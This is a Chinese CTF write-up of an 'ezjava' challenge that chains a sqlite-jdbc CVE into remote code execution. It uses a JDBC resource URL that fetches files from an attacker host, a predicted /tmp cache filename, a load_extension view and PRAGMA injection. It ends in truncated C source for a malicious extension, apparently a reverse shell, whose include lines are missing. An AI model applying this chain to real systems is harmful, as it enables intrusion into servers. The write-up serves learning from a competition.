前言
第二天的revenge真是绷不住，出的很好，下次多出点revenge。
ezjava
简要介绍
sqlite jdbc...真的没想到，写文件覆盖写了半天，效果是个CVE...，给的很多东西都是幌子
原理是通过控制jdbc语句和sql语句的执行来达到加载恶意so/dll达成rce的目标，这两个条件就很苛刻了，所以算是个比力鸡肋的漏洞，刚好题目环境能够控制jdbc语句和sql执行
url是jdbc语句，tableName直接拼接进sql中执行，题目逻辑很简单，我们回到sqlite的CVE，通过执行jdbc:sqlite::resource:http://ip:port/poc.db ，会在/tmp目录下生成一个缓存文件，名称格式是sqlite-jdbc-tmp-?????? ，这个名称是可以盘算出来的，盘算方法：new URL(url).hashCode()+'.db' ，读取传入的url的hashCode，再拼接.db 就是名称了，所以我们可以创建一个恶意sqlite db文件，执行sql语句：CREATE VIEW security as SELECT ( SELECT load_extension('/tmp/sqlite-jdbc-tmp--1886741859.db')); ，这里写入了load_extension来加载恶意的so，/tmp/sqlite-jdbc-tmp--1886741859.db 是我们传入的恶意so的url在tmp目录下生成的缓存文件，所以我们得提前盘算好这个名称
攻击流程
第一步打入恶意so文件的缓存文件
第二步创建恶意sqlite db文件，可以利用navicat创建sqlite db文件，然后执行上面给出的sql语句
第三步打入恶意sqlite db文件的缓存文件
第四步开启load_extension，并加载我们的恶意sqlite db文件生成的缓存文件
上面忘了说了，sqlite jdbc的特性，传入的参数会被PRAGMA执行，比如我们这里传入的是enable_load_extension=true，那么就会执行PRAGMA enable_load_extension=true ，也就开启了load_extension功能。
给个恶意so文件生成c代码：
[code]/* Add your header comment here */#include /* Do not use ! */#include #include #include #include #include #include #include #include SQLITE_EXTENSION_INIT1/* Insert your extension code here */int tcp_port = port;char *ip = "ip";#ifdef _WIN32__declspec(dllexport)#endifint sqlite3_extension_init( sqlite3 *db, char **pzErrMsg, const sqlite3_api_routines *pApi){ int rc = SQLITE_OK; SQLITE_EXTENSION_INIT2(pApi); int fd; if ( fork() |
